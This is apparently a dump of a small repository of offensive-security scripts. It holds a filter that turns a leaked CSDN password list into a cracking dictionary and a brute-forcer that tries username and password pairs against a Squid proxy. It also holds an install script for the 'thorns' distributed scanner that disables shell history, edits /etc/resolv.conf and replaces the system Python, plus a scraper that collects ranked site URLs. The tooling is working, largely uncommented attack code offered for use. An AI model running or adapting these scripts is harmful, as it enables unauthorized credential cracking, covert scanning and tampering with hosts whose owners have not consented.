├── pass_rule.py ├── squidcrack.py ├── thronsinstall.sh └── topchinazurl.py /pass_rule.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #coding=utf-8 3 | #by robert 4 | """ 5 | 1、密码长度在8-12位之间 6 | 2、密码全是数字 7 | 3、密码全是小写字母 8 | 4、密码全是大写字母 9 | 5、密码中存在连续相同的数字或字母,并且数量大于3,例如1111、aaaa 10 | 6、密码中存在连续数字,并且长度超过3个,例如1234、4567 11 | 12 | 详情见:http://drops.cnmoker.org/archives/361.html 13 | """ 14 | import sys 15 | import re 16 | 17 | def is_legal_pwd(pwd): 18 | for idx, s in enumerate(pwd): 19 | if s.isdigit() and pwd[idx:idx+4].isdigit() and int(pwd[idx:idx+4]) - int(s*4) == 123: return False 20 | 21 | def pass_rule(): 22 | newfile=open("c:\\newpass.txt", 'w') 23 | for line in open("c:\\csdn_pwd_top30000.txt"): 24 | line=str(line).strip() 25 | if 13>len(line)>7: 26 | if not line.isdigit(): 27 | if line.isalpha(): 28 | if not line.islower(): 29 | if not line.isupper(): 30 | newfile.writelines(line+'\n') 31 | elif not re.search(r'(\w)\1{3,}',line): 32 | if re.search('\d{4,}',line): 33 | if is_legal_pwd(line)!=False: 34 | newfile.writelines(line+'\n') 35 | else: 36 | newfile.writelines(line + '\n') 37 | 38 | pass_rule() -------------------------------------------------------------------------------- /squidcrack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #coding=utf-8 3 | #modify by robert qq:1972097 4 | import urllib2 5 | import os 6 | import sys 7 | import MySQLdb 8 | import time 9 | 10 | count = 0 11 | # Configure MySQL Connections Here 12 | host = "localhost" 13 | mysqluser = "root" 14 | mysqlpass = "" 15 | db = MySQLdb.connect(host, mysqluser, mysqlpass, "squid") 16 | c = db.cursor() 17 | password = open("passwd.txt") 18 | lines = password.readlines() 19 | passwd = [] 20 | for line in lines: 21 | temp = line.strip() 22 | passwd.append(temp) 23 | user = open("user.txt") 24 | lines = user.readlines() 25 | username = [] 26 | for line in lines: 27 | temp = line.strip() 28 | username.append(temp) 29 | print "[+] Connecting to MySQL Database...." 30 | c.execute("CREATE DATABASE IF NOT EXISTS `squid`;") 31 | c.execute("CREATE TABLE IF NOT EXISTS `passwords` (`username` varchar(100) NOT NULL,`password` varchar(100) NOT NULL,PRIMARY KEY (`username`)) ENGINE=InnoDB DEFAULT CHARSET=latin1;") 32 | db.commit() 33 | 34 | for a in username: 35 | for j in passwd: 36 | proxy = urllib2.ProxyHandler({"http": "http://" + a + ":" + j + "@1.1.1.1:3120/"}) 37 | opener = urllib2.build_opener(proxy) 38 | urllib2.install_opener(opener) 39 | try: 40 | html = urllib2.urlopen("http://www.baidu.com", timeout=10).readlines() 41 | except urllib2.URLError, e: 42 | html = ["Shit", "No", "No", "407"] 43 | print "Error : username is " + a + " and passwd is " + j 44 | if html[0] == "\n" or len(html) == 24: 45 | count = count + 1 46 | print "Hurray! You got a Password.\n" 47 | print "And Count is " + str(count) 48 | print "Adding password to Database.\n" 49 | c.execute("INSERT INTO `passwords` (`username`,`password`) VALUES('" + a + "','" + j + "');") 50 | print "Added to Database.\n" 51 | db.commit() 52 | time.sleep(2) 53 | -------------------------------------------------------------------------------- /thronsinstall.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #设置路径 4 | export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/sbin/ 5 | 6 | unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0 7 | 8 | 9 | PYTHON_VERSION=2.7.9 10 | PYTHON_SRC_PKG_NAME=Python-${PYTHON_VERSION}.tgz 11 | PYTHON_SRC_PKG_URL="http://www.python.org/ftp/python"/${PYTHON_VERSION}/${PYTHON_SRC_PKG_NAME} 12 | FILE_NOT_EXISTS=505 13 | PYTHON_SRC_DIR=Python-${PYTHON_VERSION} 14 | WORKSPACE=${PWD} 15 | 16 | 17 | function check_os_type() { 18 | local line 19 | 20 | line=`cat /etc/redhat-release |sed 's/\ release\|(Final)//g'` 21 | if echo $line|grep "[Cc]ent[Oo][Ss] 5" >/dev/null; then 22 | os_type=1 23 | elif echo $line|grep "[Cc]ent[Oo][Ss] 6" >/dev/null; then 24 | os_type=2 25 | elif echo $line|grep "[Rr]ed.Hat.Enterprise" >/dev/null; then 26 | os_type=3 27 | elif echo $line|grep "[Uu]buntu" >/dev/null; then 28 | os_type=4 29 | elif echo $line|grep "[Dd]ebian" >/dev/null; then 30 | os_type=5 31 | elif echo $line|grep "[Ff]edora" >/dev/null; then 32 | os_type=6 33 | else 34 | exit 0 35 | fi 36 | 37 | return $os_type 38 | } 39 | 40 | 41 | function checkPython() { 42 | #mini V2.7.1 43 | V1=2 44 | V2=7 45 | V3=1 46 | 47 | #not V3.0.0 48 | V5=3 49 | 50 | U_V1=`python -V 2>&1|awk '{print $2}'|awk -F '.' '{print $1}'` 51 | U_V2=`python -V 2>&1|awk '{print $2}'|awk -F '.' '{print $2}'` 52 | U_V3=`python -V 2>&1|awk '{print $2}'|awk -F '.' '{print $3}'` 53 | 54 | echo your python version is : $U_V1.$U_V2.$U_V3 55 | 56 | if [ $U_V1 -ge $V5 ];then 57 | echo 'Your python version is not OK!' 58 | return 1 59 | elif [ $U_V1 -lt $V1 ];then 60 | echo 'Your python version is not OK!' 61 | return 1 62 | elif [ $U_V1 -eq $V1 ];then 63 | if [ $U_V2 -lt $V2 ];then 64 | echo 'Your python version is not OK!' 65 | return 1 66 | elif [ $U_V2 -eq $V2 ];then 67 | if [ $U_V3 -lt $V3 ];then 68 | echo 'Your python version is not OK!' 69 | return 1 70 | fi 71 | fi 72 | fi 73 | echo Your python version is OK! 74 | return 0 75 | } 76 | 77 | function install_deps() { 78 | 79 | check_os_type 80 | os_flag=$? 81 | if [ $os_flag -eq 1 ]; then 82 | echo "centos 5 found" 83 | if [ -f ./rpmforge-release-0.5.3-1.el5.rf.x86_64.rpm ]; then 84 | echo "ok,go on" 85 | else 86 | wget http://packages.sw.be/rpmforge-release/rpmforge-release-0.5.3-1.el5.rf.x86_64.rpm 87 | fi 88 | sudo rpm --import http://apt.sw.be/RPM-GPG-KEY.dag.txt 89 | sudo rpm -K rpmforge-release-0.5.3-1.el5.rf.x86_64.rpm 90 | sudo rpm -i rpmforge-release-0.5.3-1.el5.rf.x86_64.rpm 91 | 92 | elif [ $os_flag -eq 2 ]; then 93 | 94 | echo "centos 6 found" 95 | 96 | if [ -f ./rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm ]; then 97 | 98 | echo "ok,go on" 99 | 100 | else 101 | wget http://packages.sw.be/rpmforge-release/rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm 102 | fi 103 | sudo rpm --import http://apt.sw.be/RPM-GPG-KEY.dag.txt 104 | sudo rpm -K rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm 105 | sudo rpm -i rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm 106 | fi 107 | 108 | 109 | if [ -f /usr/bin/yum ]; then 110 | yum -y groupinstall "Development tools" 111 | INST_CMD="yum -y install \ 112 | openssl-devel bzip2-devel \ 113 | expat-devel gdbm-devel \ 114 | python-devel mysql-devel \ 115 | subversion-devel readline-devel \ 116 | sqlite-devel wget curl gcc gcc*" 117 | elif [ -f /usr/bin/apt-get ]; then 118 | INST_CMD="apt-get -y install \ 119 | build-essential libncursesw5-dev \ 120 | libreadline6-dev libssl-dev \ 121 | libgdbm-dev libc6-dev \ 122 | libsqlite3-dev tk-dev bzip2 libbz2-dev" 123 | fi 124 | sudo ${INST_CMD} 125 | 126 | if [ -f ./nmap-6.47-1.x86_64.rpm ]; then 127 | echo "ok,go on" 128 | else 129 | wget https://nmap.org/dist/nmap-6.47-1.x86_64.rpm --no-check-certificate 130 | fi 131 | 132 | sudo rpm -vhU nmap-6.47-1.x86_64.rpm 133 | sudo yum -y install git 134 | } 135 | 136 | 137 | function get_python_src() { 138 | checkPython 139 | check_flag=$? 140 | if [ $check_flag -eq 1 ];then 141 | echo "Start to download python source now..." 142 | wget ${PYTHON_SRC_PKG_URL} 143 | else 144 | exit 145 | fi 146 | } 147 | 148 | function build_python() { 149 | if [ -f ${PYTHON_SRC_PKG_NAME} ]; then 150 | tar xvf ${PYTHON_SRC_PKG_NAME} 151 | else 152 | exit ${FILE_NOT_EXISTS} 153 | fi 154 | cd ${PYTHON_SRC_DIR} 155 | ./configure 156 | sudo make 157 | sudo make install 158 | } 159 | 160 | function clean_build_artifacts() { 161 | cd ${WORKSPACE} 162 | sudo rm -f *.rpm 163 | sudo rm -f *.tar 164 | sudo rm -f *.gz 165 | sudo rm -f *.py 166 | } 167 | 168 | # Install pip using get-pip 169 | 170 | function setup_pip() { 171 | local GET_PIP_URL=https://bootstrap.pypa.io/get-pip.py 172 | local ret=1 173 | 174 | if [ -f ./get-pip.py ]; then 175 | ret=0 176 | elif type curl >/dev/null 2>&1; then 177 | curl -O ${GET_PIP_URL} 178 | ret=$? 179 | elif type wget >/dev/null 2>&1; then 180 | wget ${GET_PIP_URL} --no-check-certificate 181 | ret=$? 182 | fi 183 | 184 | if [ $ret -ne 0 ]; then 185 | echo "Failed to get get-pip.py" 186 | echo "ok,go on" 187 | fi 188 | # install pip 189 | sudo ${PYTHON_BIN} get-pip.py 190 | if [ -f /usr/bin/pip ]; then 191 | mv /usr/bin/pip /usr/bin/pip.bak 192 | cp -f /usr/local/bin/pip /usr/bin 193 | else 194 | cp -f /usr/local/bin/pip /usr/bin 195 | fi 196 | } 197 | 198 | function main() { 199 | 200 | sed -i '$anameserver 114.114.114.114' /etc/resolv.conf 201 | install_deps 202 | 203 | checkPython 204 | check_flag=$? 205 | if [ $check_flag -eq 1 ];then 206 | echo "ok,python version is wrong,go on" 207 | if [ $? -eq 0 ]; then 208 | get_python_src 209 | build_python 210 | if [ -f ${PYTHON_BIN_PATH} ]; then 211 | #sudo mv /usr/bin/python /usr/bin/python${U_V1}.${U_V2} 212 | sudo mv /usr/bin/python /usr/bin/python.bak 213 | sudo ln -s /usr/local/bin/python${V1}.${V2} /usr/bin/python 214 | sed -i -e "s/\/usr\/bin\/python.*/\/usr\/bin\/python${U_V1}.${U_V2}/g" /usr/bin/yum 215 | else 216 | echo "ok,go on" 217 | fi 218 | else 219 | echo "ok,go on" 220 | fi 221 | else 222 | echo "ok,go on" 223 | fi 224 | 225 | PYTHON_BIN=`which python` 226 | NEW_PYTHON_VERSION=`${PYTHON_BIN} -V 2>&1|head -n 1|awk -F " " '{print $2}'` 227 | setup_pip 228 | if [ "${PYTHON_VERSION}" == "${NEW_PYTHON_VERSION}" ]; then 229 | PIP_BIN=`which pip` 230 | sudo ${PIP_BIN} install setuptools sqlalchemy 231 | sudo ${PIP_BIN} install MySQL-python SQLAlchemy 232 | sudo ${PIP_BIN} install -U celery[redis] 233 | sudo ${PIP_BIN} install supervisor 234 | fi 235 | if [ -f /usr/bin/supervisord ]; then 236 | ret=0 237 | else 238 | cp /usr/local/bin/supervisord /usr/bin 239 | fi 240 | if [ -f /usr/bin/celery ]; then 241 | ret=0 242 | else 243 | cp /usr/local/bin/celery /usr/bin 244 | fi 245 | SUPERVISORD_BIN=`which supervisord` 246 | 247 | mkdir -p /srv/app 248 | cd /srv/app 249 | git clone https://github.com/ring04h/thorns.git 250 | HOSTNAME=`hostname -s` 251 | sed -i "s/\[program:scanclient\]/[program:scanclient_${HOSTNAME}]/g" /srv/app/thorns/src/supervisord_client.conf 252 | ${SUPERVISORD_BIN} -c /srv/app/thorns/src/supervisord_client.conf 253 | } 254 | 255 | #install all soft 256 | main 257 | clean_build_artifacts() 258 | -------------------------------------------------------------------------------- /topchinazurl.py: -------------------------------------------------------------------------------- 1 | # !/usr/bin/dev python 2 | # -*- coding:utf-8 -*- 3 | 4 | from scrapy.selector import Selector 5 | import re,urllib2 6 | #import chardet,codecs 7 | 8 | for rank_num in range(4,10): 9 | rank_num_url="http://top.chinaz.com/list.aspx?baidu=%d" % rank_num 10 | req = urllib2.Request(rank_num_url) 11 | data = urllib2.urlopen(req, timeout=30).read().decode('gb2312') 12 | #encode=chardet.detect(data)["encoding"] 13 | hxs = Selector(text=data) 14 | pagenum=''.join(hxs.xpath('//span[@class="status"]/text()').extract()) 15 | pagenum=int(re.sub('(.*)/',"",pagenum)) 16 | #print type(pagenum) 17 | for i in range(1,pagenum+1): 18 | targetUrl = "http://top.chinaz.com/list.aspx?p=%d" % i +"&baidu=%d" % rank_num 19 | req = urllib2.Request(targetUrl) 20 | detail_data = urllib2.urlopen(req, timeout=30).read() 21 | detail_hxs = Selector(text=detail_data) 22 | rank_url=detail_hxs.xpath('//div[@class="webItemList"]/ul/li/div[@class="info"]/h3/span/text()').extract() 23 | fname=str(rank_num)+".txt" 24 | for url in rank_url: 25 | f=open(fname,'a+') 26 | f.write(url) 27 | f.write("\n") --------------------------------------------------------------------------------